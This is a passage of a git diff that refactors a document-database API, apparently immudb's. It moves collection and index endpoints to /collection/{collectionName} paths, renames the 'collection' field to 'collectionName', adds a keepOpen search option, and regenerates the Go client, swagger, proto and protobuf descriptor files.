HTTP response from a CreateIndexWithResponse call -func ParseCreateIndexResponse(rsp *http.Response) (*CreateIndexResponse, error) { +// ParseUpdateCollectionResponse parses an HTTP response from a UpdateCollectionWithResponse call +func ParseUpdateCollectionResponse(rsp *http.Response) (*UpdateCollectionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &CreateIndexResponse{ + response := &UpdateCollectionResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelCreateIndexResponse + var dest ModelUpdateCollectionResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2869,22 +3041,55 @@ func ParseCreateIndexResponse(rsp *http.Response) (*CreateIndexResponse, error) return response, nil } -// ParseDeleteIndexResponse parses an HTTP response from a DeleteIndexWithResponse call -func ParseDeleteIndexResponse(rsp *http.Response) (*DeleteIndexResponse, error) { +// ParseGetCollectionsResponse parses an HTTP response from a GetCollectionsWithResponse call +func ParseGetCollectionsResponse(rsp *http.Response) (*GetCollectionsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &DeleteIndexResponse{ + response := &GetCollectionsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDeleteIndexResponse + var dest ModelGetCollectionsResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RuntimeError + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseCreateCollectionResponse parses an HTTP response from a CreateCollectionWithResponse call +func ParseCreateCollectionResponse(rsp *http.Response) (*CreateCollectionResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &CreateCollectionResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelCreateCollectionResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index db9fe0b128..6f51d5fcc7 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -110,14 +110,14 @@ "security": [] } }, - "/collections": { - "get": { - "operationId": "GetCollections", + "/collection/documents/search/{searchId}": { + "post": { + "operationId": "SearchDocumentsWith", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelGetCollectionsResponse" + "$ref": "#/definitions/modelSearchDocumentsResponse" } }, "default": { @@ -127,17 +127,35 @@ } } }, + "parameters": [ + { + "name": "searchId", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelSearchDocumentsRequestWith" + } + } + ], "tags": [ - "collections" + "documents" ] - }, + } + }, + "/collection/{collectionName}/documents": { "put": { - "operationId": "CreateCollection", + "operationId": "InsertDocuments", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelCreateCollectionResponse" + "$ref": "#/definitions/modelInsertDocumentsResponse" } }, "default": { @@ -148,28 +166,34 @@ } }, "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, { "name": "body", "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelCreateCollectionRequest" + "$ref": "#/definitions/modelInsertDocumentsRequest" } } ], "tags": [ - "collections" + "documents" ] } }, - "/collections/{name}": { - "get": { - "operationId": "GetCollection", + "/collection/{collectionName}/documents/{documentId}/audit": { + "post": { + "operationId": "AuditDocument", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelGetCollectionResponse" + "$ref": "#/definitions/modelAuditDocumentResponse" } }, "default": { @@ -181,23 +205,83 @@ }, "parameters": [ { - "name": "name", + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "documentId", "in": "path", "required": true, "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelAuditDocumentRequest" + } } ], "tags": [ - "collections" + "documents" ] - }, + } + }, + "/collection/{collectionName}/documents/{documentId}/proof": { + "post": { + "operationId": "ProofDocument", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelProofDocumentResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "documentId", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelProofDocumentRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, + "/collection/{collectionName}/index": { "delete": { - "operationId": "DeleteCollection", + "operationId": "DeleteIndex", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelDeleteCollectionResponse" + "$ref": "#/definitions/modelDeleteIndexResponse" } }, "default": { @@ -209,23 +293,33 @@ }, "parameters": [ { - "name": "name", + "name": "collectionName", "in": "path", "required": true, "type": "string" + }, + { + "name": "fields", + "in": "query", + "required": false, + "type": "array", + "items": { + "type": "string" + }, + "collectionFormat": "multi" } ], "tags": [ - "collections" + "documents" ] }, "put": { - "operationId": "UpdateCollection", + "operationId": "CreateIndex", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelUpdateCollectionResponse" + "$ref": "#/definitions/modelCreateIndexResponse" } }, "default": { @@ -237,7 +331,7 @@ }, "parameters": [ { - "name": "name", + "name": "collectionName", "in": "path", "required": true, "type": "string" @@ -247,23 +341,23 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelUpdateCollectionRequest" + "$ref": "#/definitions/modelCreateIndexRequest" } } ], "tags": [ - "collections" + "documents" ] } }, - "/documents": { - "put": { - "operationId": "InsertDocuments", + "/collection/{name}": { + "get": { + "operationId": "GetCollection", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelInsertDocumentsResponse" + "$ref": "#/definitions/modelGetCollectionResponse" } }, "default": { @@ -275,27 +369,23 @@ }, "parameters": [ { - "name": "body", - "in": "body", + "name": "name", + "in": "path", "required": true, - "schema": { - "$ref": "#/definitions/modelInsertDocumentsRequest" - } + "type": "string" } ], "tags": [ "documents" ] - } - }, - "/documents/audit": { - "post": { - "operationId": "AuditDocument", + }, + "delete": { + "operationId": "DeleteCollection", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelAuditDocumentResponse" + "$ref": "#/definitions/modelDeleteCollectionResponse" } }, "default": { @@ -307,27 +397,23 @@ }, "parameters": [ { - "name": "body", - "in": "body", + "name": "name", + "in": "path", "required": true, - "schema": { - "$ref": "#/definitions/modelAuditDocumentRequest" - } + "type": "string" } ], "tags": [ "documents" ] - } - }, - "/documents/delete": { - "post": { - "operationId": "DeleteDocuments", + }, + "put": { + "operationId": "UpdateCollection", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelDeleteDocumentsResponse" + "$ref": "#/definitions/modelUpdateCollectionResponse" } }, "default": { @@ -338,12 +424,18 @@ } }, "parameters": [ + { + "name": "name", + "in": "path", + "required": true, + "type": "string" + }, { "name": "body", "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelDeleteDocumentsRequest" + "$ref": "#/definitions/modelUpdateCollectionRequest" } } ], @@ -352,14 +444,14 @@ ] } }, - "/documents/proof": { + "/collection/{collectionName}/documents/delete": { "post": { - "operationId": "ProofDocument", + "operationId": "DeleteDocuments", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelProofDocumentResponse" + "$ref": "#/definitions/modelDeleteDocumentsResponse" } }, "default": { @@ -370,12 +462,18 @@ } }, "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, { "name": "body", "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelProofDocumentRequest" + "$ref": "#/definitions/modelDeleteDocumentsRequest" } } ], @@ -384,7 +482,7 @@ ] } }, - "/documents/replace": { + "/collection/{collectionName}/documents/replace": { "put": { "operationId": "ReplaceDocuments", "responses": { @@ -402,6 +500,12 @@ } }, "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, { "name": "body", "in": "body", @@ -416,7 +520,7 @@ ] } }, - "/documents/search": { + "/collection/{collectionName}/documents/search": { "post": { "operationId": "SearchDocuments", "responses": { @@ -434,6 +538,12 @@ } }, "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, { "name": "body", "in": "body", @@ -448,14 +558,14 @@ ] } }, - "/index": { - "put": { - "operationId": "CreateIndex", + "/collections": { + "get": { + "operationId": "GetCollections", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelCreateIndexResponse" + "$ref": "#/definitions/modelGetCollectionsResponse" } }, "default": { @@ -465,29 +575,17 @@ } } }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelCreateIndexRequest" - } - } - ], "tags": [ - "index" + "documents" ] - } - }, - "/index/delete": { - "post": { - "operationId": "DeleteIndex", + }, + "put": { + "operationId": "CreateCollection", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelDeleteIndexResponse" + "$ref": "#/definitions/modelCreateCollectionResponse" } }, "default": { @@ -503,12 +601,12 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelDeleteIndexRequest" + "$ref": "#/definitions/modelCreateCollectionRequest" } } ], "tags": [ - "index" + "documents" ] } } @@ -550,12 +648,6 @@ "modelAuditDocumentRequest": { "type": "object", "properties": { - "collection": { - "type": "string" - }, - "documentId": { - "type": "string" - }, "desc": { "type": "boolean" }, @@ -569,8 +661,6 @@ } }, "required": [ - "collection", - "documentId", "page", "pageSize" ] @@ -632,9 +722,6 @@ "modelCreateCollectionRequest": { "type": "object", "properties": { - "name": { - "type": "string" - }, "documentIdFieldName": { "type": "string" }, @@ -650,10 +737,7 @@ "$ref": "#/definitions/modelIndex" } } - }, - "required": [ - "name" - ] + } }, "modelCreateCollectionResponse": { "type": "object" @@ -661,9 +745,6 @@ "modelCreateIndexRequest": { "type": "object", "properties": { - "collection": { - "type": "string" - }, "fields": { "type": "array", "items": { @@ -673,10 +754,7 @@ "isUnique": { "type": "boolean" } - }, - "required": [ - "collection" - ] + } }, "modelCreateIndexResponse": { "type": "object" @@ -698,23 +776,6 @@ "modelDeleteDocumentsResponse": { "type": "object" }, - "modelDeleteIndexRequest": { - "type": "object", - "properties": { - "collection": { - "type": "string" - }, - "fields": { - "type": "array", - "items": { - "type": "string" - } - } - }, - "required": [ - "collection" - ] - }, "modelDeleteIndexResponse": { "type": "object" }, @@ -825,19 +886,13 @@ "modelInsertDocumentsRequest": { "type": "object", "properties": { - "collection": { - "type": "string" - }, "documents": { "type": "array", "items": { "type": "object" } } - }, - "required": [ - "collection" - ] + } }, "modelInsertDocumentsResponse": { "type": "object", @@ -878,12 +933,6 @@ "modelProofDocumentRequest": { "type": "object", "properties": { - "collection": { - "type": "string" - }, - "documentId": { - "type": "string" - }, "transactionId": { "type": "string", "format": "uint64" @@ -892,11 +941,7 @@ "type": "string", "format": "uint64" } - }, - "required": [ - "collection", - "documentId" - ] + } }, "modelProofDocumentResponse": { "type": "object", @@ -923,9 +968,6 @@ "modelQuery": { "type": "object", "properties": { - "collection": { - "type": "string" - }, "expressions": { "type": "array", "items": { @@ -942,10 +984,7 @@ "type": "integer", "format": "int64" } - }, - "required": [ - "collection" - ] + } }, "modelQueryExpression": { "type": "object", @@ -986,9 +1025,6 @@ "modelSearchDocumentsRequest": { "type": "object", "properties": { - "searchId": { - "type": "string" - }, "query": { "$ref": "#/definitions/modelQuery" }, @@ -999,6 +1035,29 @@ "pageSize": { "type": "integer", "format": "int64" + }, + "keepOpen": { + "type": "boolean" + } + }, + "required": [ + "page", + "pageSize" + ] + }, + "modelSearchDocumentsRequestWith": { + "type": "object", + "properties": { + "page": { + "type": "integer", + "format": "int64" + }, + "pageSize": { + "type": "integer", + "format": "int64" + }, + "keepOpen": { + "type": "boolean" } }, "required": [ @@ -1026,10 +1085,7 @@ "documentIdFieldName": { "type": "string" } - }, - "required": [ - "name" - ] + } }, "modelUpdateCollectionResponse": { "type": "object" diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index b7742e361a..5b5adfe9e5 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -153,12 +153,12 @@ message CreateIndexRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ - "collection" + "collectionName" ] } }; - string collection = 1; + string collectionName = 1; repeated string fields = 2; bool isUnique = 3; } @@ -169,12 +169,12 @@ message DeleteIndexRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ - "collection" + "collectionName" ] } }; - string collection = 1; + string collectionName = 1; repeated string fields = 2; } @@ -184,12 +184,12 @@ message InsertDocumentsRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ - "collection" + "collectionName" ] } }; - string collection = 1; + string collectionName = 1; repeated google.protobuf.Struct documents = 2; } @@ -240,21 +240,25 @@ message SearchDocumentsRequest { }; string searchId = 1; + Query query = 2; + uint32 page = 3; uint32 pageSize = 4; + + bool keepOpen = 5; } message Query { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ - "collection" + "collectionName" ] } }; - string collection = 1; + string collectionName = 1; repeated QueryExpression expressions = 2; repeated OrderByClause orderBy = 3; uint32 limit = 4; @@ -325,7 +329,7 @@ message AuditDocumentRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ - "collection", + "collectionName", "documentId", "page", "pageSize" @@ -333,7 +337,7 @@ message AuditDocumentRequest { } }; - string collection = 1; + string collectionName = 1; string documentId = 2; bool desc = 3; uint32 page = 4; @@ -348,13 +352,13 @@ message ProofDocumentRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ - "collection", + "collectionName", "documentId" ] } }; - string collection = 1; + string collectionName = 1; string documentId = 2; uint64 transactionId = 3; uint64 proofSinceTransactionId = 4; @@ -375,70 +379,69 @@ service DocumentService { body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; + tags: "documents"; }; } - rpc GetCollection(GetCollectionRequest) returns (GetCollectionResponse) { + rpc GetCollections(GetCollectionsRequest) returns (GetCollectionsResponse) { option (google.api.http) = { - get: "/collections/{name}" + get: "/collections" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; + tags: "documents"; }; } - rpc GetCollections(GetCollectionsRequest) returns (GetCollectionsResponse) { + rpc GetCollection(GetCollectionRequest) returns (GetCollectionResponse) { option (google.api.http) = { - get: "/collections" + get: "/collection/{name}" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; + tags: "documents"; }; } rpc UpdateCollection(UpdateCollectionRequest) returns (UpdateCollectionResponse) { option (google.api.http) = { - put: "/collections/{name}" + put: "/collection/{name}" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; + tags: "documents"; }; } rpc DeleteCollection(DeleteCollectionRequest) returns (DeleteCollectionResponse) { option (google.api.http) = { - delete: "/collections/{name}" + delete: "/collection/{name}" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; + tags: "documents"; }; } rpc CreateIndex(CreateIndexRequest) returns (CreateIndexResponse) { option (google.api.http) = { - put: "/index" + put: "/collection/{collectionName}/index" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "index"; + tags: "documents"; }; } rpc DeleteIndex(DeleteIndexRequest) returns (DeleteIndexResponse) { option (google.api.http) = { - post: "/index/delete" - body: "*" + delete: "/collection/{collectionName}/index" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "index"; + tags: "documents"; }; } rpc InsertDocuments(InsertDocumentsRequest) returns (InsertDocumentsResponse) { option (google.api.http) = { - put: "/documents" + put: "/collection/{collectionName}/documents" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { @@ -448,7 +451,7 @@ service DocumentService { rpc ReplaceDocuments(ReplaceDocumentsRequest) returns (ReplaceDocumentsResponse) { option (google.api.http) = { - put: "/documents/replace" + put: "/collection/{query.collectionName}/documents/replace" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { @@ -460,7 +463,7 @@ service DocumentService { rpc DeleteDocuments(DeleteDocumentsRequest) returns (DeleteDocumentsResponse) { option (google.api.http) = { - post: "/documents/delete" + post: "/collection/{query.collectionName}/documents/delete" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { @@ -472,8 +475,13 @@ service DocumentService { rpc SearchDocuments(SearchDocumentsRequest) returns (SearchDocumentsResponse) { option (google.api.http) = { - post: "/documents/search" + post: "/collection/{query.collectionName}/documents/search" body: "*" + + additional_bindings: { + post: "/collection/documents/search/{searchId}" + body: "*" + } }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; @@ -482,7 +490,7 @@ service DocumentService { rpc AuditDocument(AuditDocumentRequest) returns (AuditDocumentResponse) { option (google.api.http) = { - post: "/documents/audit" + post: "/collection/{collectionName}/documents/{documentId}/audit" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { @@ -494,7 +502,7 @@ service DocumentService { rpc ProofDocument(ProofDocumentRequest) returns (ProofDocumentResponse) { option (google.api.http) = { - post: "/documents/proof" + post: "/collection/{collectionName}/documents/{documentId}/proof" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 4716e1ac69..1d9e25aa55 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -177,7 +177,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | +| collectionName | [string](#string) | | | | documentId | [string](#string) | | | | desc | [bool](#bool) | | | | page | [uint32](#uint32) | | | @@ -257,7 +257,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | +| collectionName | [string](#string) | | | | fields | [string](#string) | repeated | | | isUnique | [bool](#bool) | | | @@ -334,7 +334,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | +| collectionName | [string](#string) | | | | fields | [string](#string) | repeated | | @@ -498,7 +498,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | +| collectionName | [string](#string) | | | | documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | @@ -546,7 +546,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | +| collectionName | [string](#string) | | | | documentId | [string](#string) | | | | transactionId | [uint64](#uint64) | | | | proofSinceTransactionId | [uint64](#uint64) | | | @@ -583,7 +583,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | +| collectionName | [string](#string) | | | | expressions | [QueryExpression](#immudb.model.QueryExpression) | repeated | | | orderBy | [OrderByClause](#immudb.model.OrderByClause) | repeated | | | limit | [uint32](#uint32) | | | @@ -651,6 +651,7 @@ | query | [Query](#immudb.model.Query) | | | | page | [uint32](#uint32) | | | | pageSize | [uint32](#uint32) | | | +| keepOpen | [bool](#bool) | | | @@ -745,8 +746,8 @@ | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| | CreateCollection | [CreateCollectionRequest](#immudb.model.CreateCollectionRequest) | [CreateCollectionResponse](#immudb.model.CreateCollectionResponse) | | -| GetCollection | [GetCollectionRequest](#immudb.model.GetCollectionRequest) | [GetCollectionResponse](#immudb.model.GetCollectionResponse) | | | GetCollections | [GetCollectionsRequest](#immudb.model.GetCollectionsRequest) | [GetCollectionsResponse](#immudb.model.GetCollectionsResponse) | | +| GetCollection | [GetCollectionRequest](#immudb.model.GetCollectionRequest) | [GetCollectionResponse](#immudb.model.GetCollectionResponse) | | | UpdateCollection | [UpdateCollectionRequest](#immudb.model.UpdateCollectionRequest) | [UpdateCollectionResponse](#immudb.model.UpdateCollectionResponse) | | | DeleteCollection | [DeleteCollectionRequest](#immudb.model.DeleteCollectionRequest) | [DeleteCollectionResponse](#immudb.model.DeleteCollectionResponse) | | | CreateIndex | [CreateIndexRequest](#immudb.model.CreateIndexRequest) | [CreateIndexResponse](#immudb.model.CreateIndexResponse) | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 09748a21ce..f93f99b6eb 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -807,9 +807,9 @@ type CreateIndexRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Fields []string `protobuf:"bytes,2,rep,name=fields,proto3" json:"fields,omitempty"` - IsUnique bool `protobuf:"varint,3,opt,name=isUnique,proto3" json:"isUnique,omitempty"` + CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` + Fields []string `protobuf:"bytes,2,rep,name=fields,proto3" json:"fields,omitempty"` + IsUnique bool `protobuf:"varint,3,opt,name=isUnique,proto3" json:"isUnique,omitempty"` } func (x *CreateIndexRequest) Reset() { @@ -844,9 +844,9 @@ func (*CreateIndexRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{13} } -func (x *CreateIndexRequest) GetCollection() string { +func (x *CreateIndexRequest) GetCollectionName() string { if x != nil { - return x.Collection + return x.CollectionName } return "" } @@ -908,8 +908,8 @@ type DeleteIndexRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Fields []string `protobuf:"bytes,2,rep,name=fields,proto3" json:"fields,omitempty"` + CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` + Fields []string `protobuf:"bytes,2,rep,name=fields,proto3" json:"fields,omitempty"` } func (x *DeleteIndexRequest) Reset() { @@ -944,9 +944,9 @@ func (*DeleteIndexRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{15} } -func (x *DeleteIndexRequest) GetCollection() string { +func (x *DeleteIndexRequest) GetCollectionName() string { if x != nil { - return x.Collection + return x.CollectionName } return "" } @@ -1001,8 +1001,8 @@ type InsertDocumentsRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Documents []*structpb.Struct `protobuf:"bytes,2,rep,name=documents,proto3" json:"documents,omitempty"` + CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` + Documents []*structpb.Struct `protobuf:"bytes,2,rep,name=documents,proto3" json:"documents,omitempty"` } func (x *InsertDocumentsRequest) Reset() { @@ -1037,9 +1037,9 @@ func (*InsertDocumentsRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{17} } -func (x *InsertDocumentsRequest) GetCollection() string { +func (x *InsertDocumentsRequest) GetCollectionName() string { if x != nil { - return x.Collection + return x.CollectionName } return "" } @@ -1302,6 +1302,7 @@ type SearchDocumentsRequest struct { Query *Query `protobuf:"bytes,2,opt,name=query,proto3" json:"query,omitempty"` Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` PageSize uint32 `protobuf:"varint,4,opt,name=pageSize,proto3" json:"pageSize,omitempty"` + KeepOpen bool `protobuf:"varint,5,opt,name=keepOpen,proto3" json:"keepOpen,omitempty"` } func (x *SearchDocumentsRequest) Reset() { @@ -1364,15 +1365,22 @@ func (x *SearchDocumentsRequest) GetPageSize() uint32 { return 0 } +func (x *SearchDocumentsRequest) GetKeepOpen() bool { + if x != nil { + return x.KeepOpen + } + return false +} + type Query struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Expressions []*QueryExpression `protobuf:"bytes,2,rep,name=expressions,proto3" json:"expressions,omitempty"` - OrderBy []*OrderByClause `protobuf:"bytes,3,rep,name=orderBy,proto3" json:"orderBy,omitempty"` - Limit uint32 `protobuf:"varint,4,opt,name=limit,proto3" json:"limit,omitempty"` + CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` + Expressions []*QueryExpression `protobuf:"bytes,2,rep,name=expressions,proto3" json:"expressions,omitempty"` + OrderBy []*OrderByClause `protobuf:"bytes,3,rep,name=orderBy,proto3" json:"orderBy,omitempty"` + Limit uint32 `protobuf:"varint,4,opt,name=limit,proto3" json:"limit,omitempty"` } func (x *Query) Reset() { @@ -1407,9 +1415,9 @@ func (*Query) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{24} } -func (x *Query) GetCollection() string { +func (x *Query) GetCollectionName() string { if x != nil { - return x.Collection + return x.CollectionName } return "" } @@ -1786,11 +1794,11 @@ type AuditDocumentRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` - Desc bool `protobuf:"varint,3,opt,name=desc,proto3" json:"desc,omitempty"` - Page uint32 `protobuf:"varint,4,opt,name=page,proto3" json:"page,omitempty"` - PageSize uint32 `protobuf:"varint,5,opt,name=pageSize,proto3" json:"pageSize,omitempty"` + CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` + Desc bool `protobuf:"varint,3,opt,name=desc,proto3" json:"desc,omitempty"` + Page uint32 `protobuf:"varint,4,opt,name=page,proto3" json:"page,omitempty"` + PageSize uint32 `protobuf:"varint,5,opt,name=pageSize,proto3" json:"pageSize,omitempty"` } func (x *AuditDocumentRequest) Reset() { @@ -1825,9 +1833,9 @@ func (*AuditDocumentRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{31} } -func (x *AuditDocumentRequest) GetCollection() string { +func (x *AuditDocumentRequest) GetCollectionName() string { if x != nil { - return x.Collection + return x.CollectionName } return "" } @@ -1912,7 +1920,7 @@ type ProofDocumentRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` TransactionId uint64 `protobuf:"varint,3,opt,name=transactionId,proto3" json:"transactionId,omitempty"` ProofSinceTransactionId uint64 `protobuf:"varint,4,opt,name=proofSinceTransactionId,proto3" json:"proofSinceTransactionId,omitempty"` @@ -1950,9 +1958,9 @@ func (*ProofDocumentRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{33} } -func (x *ProofDocumentRequest) GetCollection() string { +func (x *ProofDocumentRequest) GetCollectionName() string { if x != nil { - return x.Collection + return x.CollectionName } return "" } @@ -2134,311 +2142,336 @@ var file_documents_proto_rawDesc = []byte{ 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7c, 0x0a, 0x12, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 